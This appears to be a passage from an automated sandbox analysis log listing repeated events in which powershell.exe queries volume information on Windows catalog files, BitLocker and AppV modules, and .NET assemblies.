              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
